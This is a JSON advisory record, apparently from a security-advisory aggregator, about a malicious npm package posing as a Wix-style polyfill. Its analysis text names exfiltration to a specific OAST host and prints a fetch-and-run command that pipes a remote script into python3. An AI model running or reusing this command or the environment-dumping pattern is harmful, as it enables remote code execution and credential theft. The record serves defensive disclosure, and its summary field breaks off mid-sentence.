{"items":[{"id":"NVI-00011042","kind":"supply_chain_event","title":"Malicious code in css-eqxcdx-polyfill (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-4q3v-p549-vp7m"],"plain_summary":"GitHub lists this malware advisory for css-eqxcdx-polyfill. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-a293cd7be045045e4c7e0031b01be543"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-a293cd7be045045e4c7e0031b01be543","url":"https://github.com/advisories/GHSA-4q3v-p549-vp7m","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-4q3v-p549-vp7m","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T23:13:05.881Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-a293cd7be045045e4c7e0031b01be543"],"technology":"css-eqxcdx-polyfill","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (a93fe0298f7671177e324947b2bf89ec3729b203621f7ca67aa8cd10439306a2)\nThe package presents itself as a polyfill exporting Wix thunderbolt-style registry stubs (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry, etc.), but thunderboltRegistry.js runs an IIFE on module load that performs two installer-side attacks. First, it executes `id`, `whoami`, `env`, and `ifconfig`/`ip addr` via child_process.execSync, collects the OS hostname, and POSTs the output together with a wholesale dump of process environment variables via fetch() to the hardcoded Burp Collaborator OAST host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, including a tagged `cmd=env` beacon. Environment variables on developer and CI hosts routinely contain cloud, registry, and CI credentials. Second, it runs `curl -L https://appsecc.com/py | python3` via execSync, fetching and executing an arbitrary remote Python payload on the installer's machine, with a self-labeled `cmd=reverse-shell` beacon sent to the same OAST host. The registry-API facade and the Wix-adjacent naming are cover for the reconnaissance and remote code execution in the","public_affected_ranges":["= 1.0.0"]}],"null_published_at":"2026-10-31T23:18:22.426Z","source_updated_at":"2026-10-05T18:34:14.000Z","source_disclosed_at":"2026-10-05T18:34:13.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T23:13:05.881Z"}],"next_cursor":null,"snapshot_revision":"42594"}